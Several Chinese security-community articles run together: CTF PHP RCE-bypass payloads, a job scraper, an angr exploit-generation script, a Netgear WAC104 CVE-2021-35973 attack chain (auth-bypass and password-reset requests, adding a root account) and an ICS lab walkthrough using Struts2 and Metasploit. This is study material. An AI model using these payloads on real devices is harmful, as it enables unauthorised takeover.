>
> $$a = "vidar";
>
>
> 这时，两个变量都被定义了：`$a` 的内容是 `“land”` 并且 `$land` 的内容是 `“vidar”` 。
>
> 回到正题，`$pi` 的值为 `hex2bin("5f474554")` ，`$$pi` 也就是 `$hex2bin("5f474554") ->
> $_GET` ，变成了预定义变量。
>
> [php 可变函数](https://www.php.net/manual/zh/functions.variable-functions.php)
>
> PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号，PHP
> 将寻找与变量的值同名的函数，并且尝试执行它。可变函数可以用来实现包括回调函数，函数表在内的一些用途。
>
> 上面说过，`{}` 其实是代替 `[]` ，其实本为 `(pi)[pi]((pi)[abs])` ，即 `_GET[pi]((_GET)[abs])`
> ，
>
> 而 `pi` 的值正好是 `system` ，php 就会寻找 `system` 函数来执行圆括号里的语句。
>
> 即 `system('tac flag.php')`
而上面说过，我们可以不利用进制转换，单纯异或构造语句：
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /flag
同样这里利用了 php 可变变量和可变函数，但异或的对象有所不同，前文中明摆着我们是两个字符串相异或，而这里的 `is_nan^(6).(4)`
又会是什么结果呢？
[Mustapha Mond 师傅的 fuzz
脚本](https://www.cnblogs.com/20175211lyz/p/11588219.html)
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo "<br />";
}
}
}
这里的 `$i.$j` 其实是字符串类型，也就是我们利用数学函数名与 01~99 范围的字符串想异或，这样我们可以得到字母（当然部分特殊字符也能得出）：
而 payload 中的 `(is_nan^(6).(4)).(tan^(1).(5))` 正是 `"_G"."ET"` ，即 `_GET` 。
#### getallheaders 利用请求头传语句
长度限制 80 是很容易超长的，何况还有白名单函数的限制，不能直接输入 `cat` 等命令，而我们可以利用 `getallheaders`
这个函数，把命令放在请求头来拼接语句。
函数解释：
> [getallheaders](https://www.php.net/manual/zh/function.getallheaders.php)
>
> 获取全部 HTTP 请求头信息。
payload：
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
//base_convert(696468,10,36) -> exec
//base_convert(8768397090111664438,10,30) -> getallheaders
//exec(getallheaders(){1})
在报文头中相应属性，值为要执行的命令：
好了，love math 到此告一段落，来看看今年的护网杯的 SimpleCalculator 。
## SimpleCalculator
### 取反绕过
这题其实 love math 的异或 payload 就能打出来，摆出这道题其实只是为了介绍另外一种运算 `~` 。
> `~` 运算符
>
> 按位取反，将 `$a` 中为 0 的位设为 1，反之亦然。
>
> 也就是说，我们要返回 `system` ，可以按位用其反码来构造 payload 。
因为记忆比较模糊，可能说的不太准确，当初 fuzz 的时候，其实输入框的限制是非常严格的：
_ ' " 空格 hex2bin、dechex、chr等等一些可以与字符互转的函数 system、exec等等一些可以命令执行的函数
上面这些都被匹配到了，长度还限制 80 ，但对 url 上的却有松懈，因此可以说是 yt 。
这里要分析的是本校师傅给的一个神奇 payload ：
$ip=(~%8C%86%8C%8B%9A%92);$ip(~%9C%9E%8B%DF%D0%99%93%9E%98);
`%8C%86%8C%8B%9A%92` 这些是 url 编码，解码后转换为 ascii 码，ascii
码再转换为二进制数，取其反码，然后逆操作，最后得到的值就是 `system` 。
以 `%8C` 为例，进行的运算用函数表示如下：
echo chr(~ord(urldecode('%8C')));
//s
exp：
<?php
$pay = "system";
$re = "";
for ($i = 0; $i < strlen($pay); $i++){
$pay[$i] = chr(~ord($pay[$i]));
$re.= urlencode($pay[$i]);
}
echo $re;
?>
# 0x03 后记
其实通篇看下来，最主要利用的是 php 位运算、可变变量、可变函数这些特性，用 math 函数结合 rce
（这是次要的）。感觉还是要潜心学习一门语言，把它的特性深入了解后，才能在安全方面发挥最大作用。 | 社区文章 |
## 0x00 目标
* 爬虫练习
* 渗透测试职位岗能需求分析
* 使用gevent模块，练习多线程
* 如果有可能，使用数据库，对岗能进行大数据分析
## 0x01 开始工作
智*招聘搜索关键字：渗透测试
地址：
http://sou.zhaop**.com/jobs/searchresult.ashx?jl=%E8%BE%93%E5%85%A5%E9%80%89%E6%8B%A9%E5%9F%8E%E5%B8%82&kw=%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95&sm=0&p=1
点击发现`p`参数控制页码，一共14页。
可以使用Queue，制造这些数据put进去：
def create():
queue = Queue()
for i in range(1,15):
queue.put('''http://sou.zhaop**.com/jobs/searchresult.ashx?jl=\
%E8%BE%93%E5%85%A5%E9%80%89%E6%8B%A9%E5%9F%8E%E5%B8%82&kw=%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95&sm=0&p='''+str(i))
return queue
接着，使用gevent，多线程的去把queue数据放入spider，让spider取url地址进行爬取和采集。
gevent部分：
def main():
queue = create()
gevent_pool = []
thread_count = 5
for i in range(thread_count):
gevent_pool.append(gevent.spawn(spider,queue))
gevent.joinall(gevent_pool)
spider部分:
def spider(queue):
while not queue.empty():
url = queue.get_nowait()
try:
r = requests.get(url)
soup = bs(r.content.replace('<b>','').replace('</b>',''), 'lxml')
jobs = soup.find_all(name='td', attrs={'class':'zwmc'})
#job.div.a.string
companys = soup.find_all(name='td', attrs={'class':'gsmc'})
#company.a.string
wages = soup.find_all(name='td', attrs={'class':'zwyx'})
#wages.string
locations = soup.find_all(name='td', attrs={'class':'gzdd'})
#location.string
for job,company,wage,location in zip(jobs,companys,wages,locations):
# print job.div.a.string,company.a.string,wage.string,location.string
j = job.div.a.string
c = company.a.string
w = wage.string
l = location.string
job_detail_url = job.div.a['href']
job_detail_req = requests.get(job_detail_url)
contents = re.findall(r'SWSStringCutStart -->(.*?)<!-- SWSStringCutEnd', job_detail_req.content, re.S)
content = re.sub(r'<[^>]+>', '', contents[0]).replace(' ','').replace('\r\n','').replace(' ','')
print j,c,w,l
print content.decode('utf-8')
sqlin(j,c,w,l,content)
except Exception,e:
print e
pass
值得注意的是：
content = re.sub(r'<[^>]+>', '', contents[0])
这一行的作用是去掉所有的html标签（可以通用）
## 0x02获取数据
一共采集到795条信息，并存放入mysql数据库
## 0x03分析
本来想用python生成词云，但是网上有现成的Tools，而且效果很不错。
地址：<https://timdream.org/wordcloud/>
最终生成的关于就职地址的词云为：
可以明显的看到，北上广，杭州，深圳，南京等这些地区对岗位需求较高。
最终生成的关于岗能的词云为：
可以看出，岗位需要的能力主要包括：测试，经验，网络，系统，漏洞
对薪酬进行统计分析：
可以看出，薪酬在6k－9k的较多
在数据库中，统计需要python关键字的岗能需求：
一共是198项，占24.9％，其他数据分析的玩法，就靠大家自己去扩展了。欢迎来社区进行探讨。 | 社区文章 |
# 前言
angr是一个基于python开发的一款符号执行工具，可以用于二进制分析，在CTF逆向中有很大的用途，例如可以通过约束求解找到复杂计算的正确解，从而拿到flag；然而angr的用途远不止于此，它甚至还能被用于AEG
（Automatic Exploit Generation）
，有一个叫[zeratool](https://github.com/ChrisTheCoolHut/Zeratool)的工具实现了一些用于简单的pwn的AEG，AEG的步骤一般分为：
* 挖掘漏洞
* 生成利用exp
* 验证exp
zeratool采用的挖掘漏洞的方法是通过符号执行，遍历所有可能存在的约束路径，如果出现了 `unconstrained`
状态的路径，则认为产生了漏洞，本人在查看zeratool源码和动手实践的过程中发现这种挖掘方法不尽全面，只适用于一些单一漏洞的例子，再加上zeratool采用的angr版本为7.x，而最新的已经是8.x，8.x的api也发生了很大改变
因此想探究在angr
8.x上实现进一步的栈溢出漏洞探索和堆空间中UAF和Double_Free漏洞探索，本篇主要是分享一些对挖掘栈溢出漏洞的想法和心得，堆漏洞的在下篇，水平有限，大佬轻喷Orz
# 官方例子
先举一个官方的AEG的简单例子（在angr根目录的examples/insomnihack_aeg中）
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char component_name[128] = {0};
typedef struct component
{
char name[32];
int (*do_something)(int arg);
} comp_t;
int sample_func(int x)
{
printf(" - %s - recieved argument %d\n", component_name, x);
}
comp_t *initialize_component(char *cmp_name) {
int i = 0;
comp_t *cmp;
cmp = malloc(sizeof(struct component));
cmp->do_something = sample_func;
printf("Copying component name...\n");
while (*cmp_name)
cmp->name[i++] = *cmp_name++;
cmp->name[i] = '\0';
return cmp;
}
int main(void)
{
comp_t *cmp;
printf("Component Name:\n");
read(0, component_name, sizeof component_name);
printf("Initializing component...\n");
cmp = initialize_component(component_name);
printf("Running component...\n");
cmp->do_something(1);
}
这里很明显可以看到有一个堆溢出漏洞，当component_name长度大于32时，会溢出覆盖到`cmp->do_something`成员，在之后的`cmp->do_something(1)`中，会导致程序崩溃
而官方给出的angr脚本如下
import os
import sys
import angr
import subprocess
import logging
from angr import sim_options as so
l = logging.getLogger("insomnihack.simple_aeg")
# shellcraft i386.linux.sh
shellcode = bytes.fromhex("6a68682f2f2f73682f62696e89e331c96a0b5899cd80")
def fully_symbolic(state, variable):
'''
check if a symbolic variable is completely symbolic
'''
for i in range(state.arch.bits):
if not state.solver.symbolic(variable[i]):
return False
return True
def check_continuity(address, addresses, length):
'''
dumb way of checking if the region at 'address' contains 'length' amount of controlled
memory.
'''
for i in range(length):
if not address + i in addresses:
return False
return True
def find_symbolic_buffer(state, length):
'''
dumb implementation of find_symbolic_buffer, looks for a buffer in memory under the user's
control
'''
# get all the symbolic bytes from stdin
stdin = state.posix.stdin
sym_addrs = [ ]
for _, symbol in state.solver.get_variables('file', stdin.ident):
sym_addrs.extend(state.memory.addrs_for_name(next(iter(symbol.variables))))
for addr in sym_addrs:
if check_continuity(addr, sym_addrs, length):
yield addr
def main(binary):
p = angr.Project(binary)
binary_name = os.path.basename(binary)
extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY}
es = p.factory.entry_state(add_options=extras)
sm = p.factory.simulation_manager(es, save_unconstrained=True)
# find a bug giving us control of PC
l.info("looking for vulnerability in '%s'", binary_name)
exploitable_state = None
while exploitable_state is None:
print(sm)
sm.step()
if len(sm.unconstrained) > 0:
l.info("found some unconstrained states, checking exploitability")
for u in sm.unconstrained:
if fully_symbolic(u, u.regs.pc):
exploitable_state = u
break
# no exploitable state found, drop them
sm.drop(stash='unconstrained')
l.info("found a state which looks exploitable")
ep = exploitable_state
assert ep.solver.symbolic(ep.regs.pc), "PC must be symbolic at this point"
l.info("attempting to create exploit based off state")
# keep checking if buffers can hold our shellcode
for buf_addr in find_symbolic_buffer(ep, len(shellcode)):
l.info("found symbolic buffer at %#x", buf_addr)
memory = ep.memory.load(buf_addr, len(shellcode))
sc_bvv = ep.solver.BVV(shellcode)
# check satisfiability of placing shellcode into the address
if ep.satisfiable(extra_constraints=(memory == sc_bvv,ep.regs.pc == buf_addr)):
l.info("found buffer for shellcode, completing exploit")
ep.add_constraints(memory == sc_bvv)
l.info("pointing pc towards shellcode buffer")
ep.add_constraints(ep.regs.pc == buf_addr)
break
else:
l.warning("couldn't find a symbolic buffer for our shellcode! exiting...")
return 1
print(ep.posix.dumps(0))
filename = '%s-exploit' % binary_name
with open(filename, 'wb') as f:
f.write(ep.posix.dumps(0))
print("%s exploit in %s" % (binary_name, filename))
print("run with `(cat %s; cat -) | %s`" % (filename, binary))
return 0
def test():
main('./demo_bin')
assert subprocess.check_output('(cat ./demo_bin-exploit; echo echo BUMO) | ./demo_bin', shell=True) == b'BUMO\n'
if __name__ == '__main__':
# silence some annoying logs
logging.getLogger("angr").setLevel("CRITICAL")
l.setLevel("INFO")
if len(sys.argv) > 1:
sys.exit(main(sys.argv[1]))
else:
print("%s: <binary>" % sys.argv[0])
简单来说，这个脚本首先通过符号执行，找出unconstrained状态的路径，然后对这个路径进行约束条件限制，查看是否存在满足以下条件的正解：1.有足够的空间放置shellcode，2.rip能指向shellcode，如果满足了条件，说明这个程序可pwn，那么就把满足这些约束的解所在的路径的标准输入记录下来，作为攻击使用的payload
我们可以发现，在漏洞查找这一步，它直接使用了一种简单粗暴的方法，那就是找unconstrained状态的路径，而这种状态的路径一般来说就是rip值不可约束才会产生的，所谓不可约束，意思就是rip不受控制了，或者说它的值符号化了，例如一般发生栈溢出时，rip的值通常是标准输入的某段字符串，而在angr中，stdin也会被符号化，所以说当rip值变成stdin的部分值时，也就使得rip的值也是符号化的，这样就出现了unconstrained状态。
# 实验例子
在我实践的过程中发现，这种挖掘漏洞的方法不够全面，举个例子：
#include <stdio.h>
void func()
{
char pwd[0x10]={0};
puts("input admin password:");
read(0,pwd,0x20);
}
void over()
{
puts("over!");
char c[0x10]={0};
read(0,c,0x20);
}
int main(int argc, char const *argv[])
{
char name[0x10]={0};
puts("input your name:");
read(0,name,0x10);
over();
if (strstr(name,"admin"))
{
func();
puts("welcome admin~");
}
else
{
printf("welcome, %s\n", name);
}
return 0;
}
//gcc stack1.c -o stack1 -fno-stack-protector
//关闭canary保护
可以看到该源码中有两个栈溢出漏洞，分别是`read(0,c,0x20);`和`read(0,pwd,0x20);`
按照前面的例子，通过unconstrained状态来搜索漏洞，写出angr脚本如下：
import angr
p = angr.Project("./stack1")
es = p.factory.entry_state()
sm = p.factory.simulation_manager(es, save_unconstrained=True)
while sm.active:
sm.step()
if sm.unconstrained:
for un in sm.unconstrained:
print("stdout:\n",un.posix.dumps(1))
print("stdin:\n",un.posix.dumps(0),"\n")
而跑出的结果如下
可以发现，仅通过unconstrained查找出的漏洞，只有over函数里面的那个栈溢出
**是什么原因导致了这样的结果？**
angr的符号执行会遍历去执行每一个路径，在没有出现if之类的分支语句的时候，路径是只有一条的，也就是说随着符号执行的进行，路径才会慢慢变多，而在该例子中，调用over函数时还属于第一条路径，而over函数中发生溢出时产生了unconstrained的状态，于是就此直接退出该路径的后续探索，从而导致没到`if
(strstr(name,"admin"))`路径探索就已经结束了，因此第二个栈溢出漏洞也就难以找出
# 多漏洞挖掘思路探索
在讲我的挖掘思路之前，需要先回顾一下导致栈溢出的一系列过程：
1. 栈空间被覆盖
2. 覆盖到栈中rbp值（不考虑canary）
3. 覆盖到栈中返回地址值
4. 函数结束，开始返回
5. leave（pop rbp ；mov rsp rbp），恢复之前rbp，将之前rbp值赋予rsp
6. ret（pop rip），发生crash
在上面的例子中，执行到over函数时就结束了后续路径的探索，是因为栈溢出使得rip的值unconstrained了
**那么如何才能既可以发现over函数中的栈溢出，又能让over函数正确返回，从而继续探索出后续路径中的栈溢出呢？**
根据上述6个过程，我的思路就出来了，就是每次进入一个新的函数时，先存储rbp正确的值，等到函数快结束时，先不着急返回，先去判断栈中的数据是否异常，就看即将被pop的rbp位置的值是否符号化，看将被pop
rip位置的值是否符号化，如果是，那么很明显出现了栈溢出，然后 **使用angr去还原正确的栈数据**
，也就是还原rbp和返回地址，这样一来，既检测出了漏洞同时使得产生漏洞的函数能够继续执行下去，从而达到了探索多个漏洞的目的
以上是总体的思路，但实际上还有许多的小问题需要解决
比如
**如何判断进入了一个新的函数和即将离开这个函数呢？**
这里我使用的方法是，可以通过判断汇编指令，比如进入函数时，如果出现了`push rbp; mov
rsp,rbp;`这样的指令，那么基本上可以判断是函数的开头，如果出现了`leave; ret;`，同样可以判断是函数的结尾
代码的具体实现如下：
def check_head(state):
insns=state.project.factory.block(state.addr).capstone.insns
if len(insns)>=2:
#check for : push rbp; mov rsp,rbp;
ins0=insns[0].insn
ins1=insns[1].insn
if len(ins0.operands)==1 and len(ins1.operands)==2:
# print(insns)
ins0_name=ins0.mnemonic#push
ins0_op0=ins0.reg_name(ins0.operands[0].reg)#rbp
ins1_name=ins1.mnemonic#mov
ins1_op0=ins1.reg_name(ins1.operands[0].reg)#rsp
ins1_op1=ins1.reg_name(ins1.operands[1].reg)#rbp
if ins0_name=="push" and ins0_op0=="rbp" and ins1_name=="mov" and ins1_op0=="rbp" and ins1_op1=="rsp":
# print("find a function head,save the rsp,rbp")
pre_target=state.callstack.ret_addr
state.globals['rbp_list'][hex(pre_target)]=state.regs.rbp
def check_end(state):
if state.addr==0:
return
insns=state.project.factory.block(state.addr).capstone.insns
if len(insns)>=2:
flag=0
#check for : leave; ret;
for ins in insns:
if ins.insn.mnemonic=="leave":
flag+=1
if ins.insn.mnemonic=="ret":
flag+=1
if flag==2:
........
**当函数调用多的时候，如何存储正确的rbp值？**
每次进入新函数时，可以使用字典的方式进行存储rbp，key为该函数结束时的正确返回地址，value为当前函数的rbp，这样一来不论函数调用多复杂，都可以通过唯一的返回地址锁定rbp的正确值
**当符号执行路径多的时候，如何保证不同路径之间存储的rbp值是相互独立且不受干扰？**
angr中提供了一种这样的用法：`state.globals['rbp_list']={}`
这个意思是，设置路径state的一个全局变量名为rbp_list，且初始化rbp_list为一个空的字典
这种设置全局变量的方法，只会在被设置的路径以及其衍生路径中存在
比如
int main()
{
.....
if(xxx)
{
//路径1，不存在name变量
}
else if(xxx)
{
////路径2
设置state.globals['name']=“23R3F”
if(xxx)
{
//路径2.1，存在name变量
}
else
{
设置state.globals['age']=233
//路径2.2，存在name、age变量
}
}
else if(xxx)
{
//路径3，不存在name变量
}
else
{
//路径4，不存在name变量
}
}
因此通过这种方法设置的路径全局变量rbp_list字典可以保证不被其他不相干路径所干扰
**有的时候溢出不一定导致rip修改，可能只溢出到rbp的几个字节，这种情况又该如何挖掘搜索出来？**
这里用了angr提供的一种方法，可以检测某地址的值是否符号化，通过这种方法，就能计算出溢出的具体字节，至于溢出到rbp和返回地址，这里可以通过检测顺序来解决，比如溢出到了返回地址，那么必然是溢出了rbp，那么就直接报出pc
overflow，因此首先检测返回地址是否被溢出，然后再检测是否溢出到了rbp，如果只溢出到rbp则只报出 rbp overflow
相关代码如下
def check_symbolic_bits(state,val):
bits = 0
for idx in range(state.arch.bits):
if val[idx].symbolic:
bits += 1
return bits
def check_end(state):
..........
..........
rsp=state.regs.rsp
rbp=state.regs.rbp
byte_s=state.arch.bytes
stack_rbp=state.memory.load(rbp,endness=angr.archinfo.Endness.LE)
stack_ret=state.memory.load(rbp+byte_s,endness=angr.archinfo.Endness.LE)
pre_target=state.callstack.ret_addr
pre_rbp=state.globals['rbp_list'][hex(pre_target)]
if stack_ret.symbolic:
num=check_symbolic_bits(state,stack_ret)
print_pc_overflow_msg(state,num//byte_s)
state.memory.store(rbp,pre_rbp,endness=angr.archinfo.Endness.LE)
state.memory.store(rbp+byte_s, state.solver.BVV(pre_target, 64),endness=angr.archinfo.Endness.LE)
return
if stack_rbp.symbolic:
num=check_symbolic_bits(state,stack_rbp)
print_bp_overflow_msg(state,num//byte_s)
state.memory.store(rbp,pre_rbp,endness=angr.archinfo.Endness.LE)
# 完整代码
以下是完整的代码
import angr
def check_symbolic_bits(state,val):
bits = 0
for idx in range(state.arch.bits):
if val[idx].symbolic:
bits += 1
return bits
def print_pc_overflow_msg(state,byte_s):
print("\n[========find a pc overflow========]")
print("over for ",hex(byte_s),"bytes")
print("[PC]stdout:\n",state.posix.dumps(1))
print("[PC]trigger overflow input:")
print(state.posix.dumps(0))
def print_bp_overflow_msg(state,byte_s):
print("\n[========find a bp overflow========]")
print("over for ",hex(byte_s),"bytes")
print("[PC]stdout:\n",state.posix.dumps(1))
print("[PC]trigger overflow input:")
print(state.posix.dumps(0))
def check_end(state):
if state.addr==0:
return
insns=state.project.factory.block(state.addr).capstone.insns
if len(insns)>=2:
flag=0
#check for : leave; ret;
for ins in insns:
if ins.insn.mnemonic=="leave":
flag+=1
if ins.insn.mnemonic=="ret":
flag+=1
# ins0=insns[0].insn
# ins1=insns[1].insn
# if ins0.mnemonic=="leave" and ins1.mnemonic=="ret":
if flag==2:
rsp=state.regs.rsp
rbp=state.regs.rbp
byte_s=state.arch.bytes
stack_rbp=state.memory.load(rbp,endness=angr.archinfo.Endness.LE)
stack_ret=state.memory.load(rbp+byte_s,endness=angr.archinfo.Endness.LE)
pre_target=state.callstack.ret_addr
pre_rbp=state.globals['rbp_list'][hex(pre_target)]
if stack_ret.symbolic:
num=check_symbolic_bits(state,stack_ret)
print_pc_overflow_msg(state,num//byte_s)
state.memory.store(rbp,pre_rbp,endness=angr.archinfo.Endness.LE)
state.memory.store(rbp+byte_s, state.solver.BVV(pre_target, 64),endness=angr.archinfo.Endness.LE)
return
if stack_rbp.symbolic:
num=check_symbolic_bits(state,stack_rbp)
print_bp_overflow_msg(state,num//byte_s)
state.memory.store(rbp,pre_rbp,endness=angr.archinfo.Endness.LE)
def check_head(state):
insns=state.project.factory.block(state.addr).capstone.insns
if len(insns)>=2:
#check for : push rbp; mov rsp,rbp;
ins0=insns[0].insn
ins1=insns[1].insn
if len(ins0.operands)==1 and len(ins1.operands)==2:
# print(insns)
ins0_name=ins0.mnemonic#push
ins0_op0=ins0.reg_name(ins0.operands[0].reg)#rbp
ins1_name=ins1.mnemonic#mov
ins1_op0=ins1.reg_name(ins1.operands[0].reg)#rsp
ins1_op1=ins1.reg_name(ins1.operands[1].reg)#rbp
if ins0_name=="push" and ins0_op0=="rbp" and ins1_name=="mov" and ins1_op0=="rbp" and ins1_op1=="rsp":
# print("find a function head,save the rsp,rbp")
pre_target=state.callstack.ret_addr
state.globals['rbp_list'][hex(pre_target)]=state.regs.rbp
if __name__ == '__main__':
filename="stack1"
p = angr.Project(filename,auto_load_libs=False)
state=p.factory.entry_state()
state.globals['rbp_list']={}
simgr = p.factory.simulation_manager(state,save_unconstrained=True)
while simgr.active:
for act in simgr.active:
# print("||||||||||||||active head||||||||||||")
check_head(act)
check_end(act)
# print("||||||||||||||active end|||||||||||||")
simgr.step()
# print("now->",simgr,"\n")
运行后，可以发现，完美的搜索到了两个栈溢出漏洞：
以上便是我关于栈溢出方面的一点点挖掘思路，如果有师傅有更骚的操作，也望不啬赐教 | 社区文章 |
**作者：OneShell@知道创宇404实验室
时间：2021年7月15日 **
## 漏洞分析
最直观的方式，是先看POC，得到大概利用思路，再进行静态分析，然后拿真实设备调试（咸鱼）。
### http认证绕过
使用的后端是mini_httpd，一个小型的嵌入式后端服务器，常见的还有lighthttpd、httpd等等，或者直接通过一些脚本例如lua来充当后端也是存在的。
通过在URL中附加`%00currentsetting.htm`来达到身份认证绕过，本来一开始以为是类似于之前的Netgear的一个身份认证绕过，通过`strstr()`此类函数直接判定URL中包含一些全局资源，然后无条件返回请求的资源，但是，并不是这样的，而是`currentsetting.htm`字段会触发一个判定标志，这个标志=1会直接使判定通过。这个标志在http解析流程中一共有三个被赋值的地方，分别是：
1.在从`00407A28`开始的函数，也就是http的处理流程，当header的解析时，当`SOAPAction`字段包含特定的字符串`urn:NETGEAR-ROUTER:service`
2.在函数从`00407A28`地址开始，同样在http解析流程中，当请求URL中包含字符串`setupwizard.cgi`
3.还是在这个http处理的函数中
但是前两个产生的标志位，出现在函数的比较靠前位置，都会导致程序的提前中止，就不能达到绕过的效果，第三个则相对靠后，不会退出。
因此可以通过构造如下的请求，对任意页面进行未授权访问：
GET /file-to-access%00currentsetting.htm HTTP/1.1
### 发生在setup.cgi中的sesstion id认证绕过
在main函数的代码开头，如果是POST方法，紧接下来就是对于`/tmp/SessionFile`文件的读取。先从POST请求中获取id字段的值，然后通过一个子函数`sub_403F04`从`/tmp/SessionFile`中读取存在系统中的id，二者进行比较。如果相同则通过了id的校验。验证逻辑关键代码如下：
id_loc = strstr(post_data, "id=");
if (id_loc) {
id_from_post = strtol(id_loc + 3, &v19, 16); // 字符串转换成长整数, v19指向处理完id后的字符串
if(v19 && strstr(v19, "sp=")) // 根据id和sp字段寻找session_file
snprintf(session_file, 128, "%s%s", session_file)
if (id_from_post == sub_403F04(session_file))
goto verify_success_label;
}
但是在子函数`sub_403F04`中存在逻辑上的问题，如果`session_file`不存在，`id_from_file`会直接返回0。那么，就可以通过构造`id=0&sp=ABC`这种肯定找不到`session_file`的字段，从而达到`id_from_post
== id_from_file == 0`验证通过。
int sub_403F04(char* session_file) {
id_from_file = 0;
File* f = fopen(session_file, "r");
if (f) {
fscan(f, "%x", &id_from_file);
fclose(f);
}
return id_from_file;
}
### setup.cgi未检验密码修改
整个cgi的处理流程大概是，当用户通mini_httpd登录，mini_httpd会将请求方式和请求附加参数写入到环境变量中，cgi读取环境变量`REQUEST_METHOD`获取请求方式，例如GET或POST；读取`QUERY_STRING`获取请求参数；然后通过写入能唯一标识会话的一些参数到文件中，用于会话管理。最后就是具体的对用户发送的数据进行处理。这个流程可以在setup.cgi文件逆向的`main`函数中查看，还是比较清晰明了。
在CVE作者的分析文章里面，有提到是通过cgi的哪一个接口直接修改密码的，我也定位到了这个函数`sub_40808`。但是，这个函数在cgi中没有被调用过？那么作者是如何得到这个接口的呢，直接通过抓包么。先直接给出payload，通过构造如下的方式可以重新设置密码。
GET /setup.cgi?todo=con_save_passwd&sysNewPasswd=ABC&sysConfirmPasswd=ABC%00currentsetting.htm HTTP/1.1
Host: aplogin
对于`sub_40808`的逆向，流程也很简单，检查两次输入的新密码是否相同，如果相同，就写入到NVRAM中的http_password中。但是如果要永久更改admin账号的密码到/etc/passwd和/etc/htpasswd中，可以通过如下两种方式之一：
1. 重启设备，可以通过调用接口`/setup.cgi?todo=reboot`，将密码写入到/etc/passwd和/etc/htpasswd中
2. 调用接口`/setup.cgi?todo=save_passwd`将密码写入到文件中
猜测这两个接口，是因为有路由器真实设备，在初始化的时候，第一次设置密码，通过分析交互http数据包得到的。
### /tmp/etc目录权限管理
可以通过setup.cgi开启路由器的telnet，结合之前的mini_httpd和setup.cgi的认证绕过，请求`/setup.cgi?todo=debug`。此时通过telnet登录得到的权限是admin权限，而不是root权限。但是因为/tmp/etc目录权限管理的问题，可以在/tmp/etc/passwd中添加一个root权限的账号。操作如下：
cd /tmp/etc
cp passwd passwdx
echo toor:scEOyDvMLIlp6:0:0::scRY.aIzztZFk:/sbin/sh >> passwdx
mv passwd old_passwd
mv passwdx passwd
出现问题的原因是分析如下，/etc/目录通过软链接到了/tmp/etc/目录，而/tmp/etc/目录的权限是777。
那么admin权限的用户不能更改/etc/passwd文件，因为这是被root拥有的且权限为644（rw-r--r--)。但是admin权限的用户可以创建一个新的passwd文件，然后通过如上的方式，添加root权限账号。
这是执行了添加root权限操作后的文件属性
## 小结
通过如上一系列的攻击链，先通过http的认证绕过，可以访问到setup.cgi；但是setup.cgi的操作也是存在sessionID认证，于是再次进行认证绕过；而且通过分析setup.cgi提供的接口，发现可以任意修改admin权限的登录密码，还可以开启调试模式的telnet；虽然这个时候通过telnet登录上去的是一个admin权限（非root），但是恰好由于/etc/里面的文件权限管理的问题，可以添加root权限的账号和密码。
那么这一系列的操作下来，就达到了一个未授权RCE漏洞。太强了太强了。
## 漏洞影响面
通过ZoomEye网络空间搜索引擎，搜索ZoomEye dork数据挖掘语法查看漏洞公网资产影响面。
[zoomeye
dork](https://www.zoomeye.org/searchResult?q=app%3A%22Netgear%20wac104%22
"zoomeye dork") 关键词：app:"Netgear wac104"
也可以搜索漏洞编号会关联出zoomeye dork 关键词：CVE-2021-35973
[漏洞影响面全球视角可视化](https://www.zoomeye.org/globalmap/app%3A%22Netgear%20wac104%22/all/0
"漏洞影响面全球视角可视化")
## 参考链接
* <https://www.seebug.org/vuldb/ssvid-99295>
* * * | 社区文章 |
# 工控攻防演示——从外网到内网控制系统设备的入侵
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、概述
### 1.实验目的
通过工控攻防演示让初学者学习web安全、内网渗透、工控安全相关知识技能
### 2.靶场信息
本实验通过vmware 搭建了靶场的外网和内网环境，在内网环境中，可以连接到真实的PLC进行漏洞利用。
网络拓扑如下：
该网络环境中，有两台攻击机处于模拟外网中，分别是一台 windows7 主机和 kali
主机，通过这两台主机进行漏洞利用，获取内网访问权限，进一步获取西门子PLC的控制权，从而控制城市沙盘。
## 二、 演示过程
### 1.资产发现
登录 kali 攻击机，输入 ifconfig 查看 ip 段，
接着对该网段C段进行端口扫描
nmap -Pn -n —open 192.168.14.0/24
发现192.168.14.10 开放了 80 和 8080 端口，用浏览器分别访问这两个端口
发现80端口存在一个网站，8080端口为tomcat的默认界面。
### 2.目录扫描
使用kali 自带的 dirbrute 工具来对8080端口进行目录扫描
设置好字典，对 <http://192.168.14.10:8080/> 点击start进行目录扫描
发现一个 test 目录
访问发现是struts2-showcase测试项目
### 3.Struts2 漏洞利用
出现struts2框架，可以尝试利用struts2命令执行漏洞。输入 msfconsole 打开 msf，如果第一次运行，可以先运行 msfdb init
来初始化 msf 数据库
输入 search struts2 来搜索 struts2 相关漏洞
加载struts2利用模块
接下来在msf 设置目标信息并攻击，其中 rhosts 为 struts2 网站的 ip，rport 为网站的端口，targeturi
为存在漏洞的地址。输入 exploit 开始攻击
可以看到成功获取该struts2 网站的权限，返回了一个 meterpreter shell，输入sysinfo可以看到这台主机的ip为
192.168.90.10, 是linux系统，版本为 Ubuntu 16.04。
### 4.Nps 内网代理
由于已经获取了位于内网的linux主机权限，可以通过这个meterpreter shell
来设置socks代理，这样就可以msf中访问内网中的其它主机和端口了。
先下载nps客户端和服务端到kali攻击机中
解压安装nps
./nps install
启动nps
nps start
访问本地Ip的8080 端口，链接为<http://192.168.14.4:8080> 可访问nps管理后台，输入admin/123 登录。点击添加客户端
然后在msf中上传linux_amd64_client.tar.gz客户端到内网linux主机的/tmp/目录中。
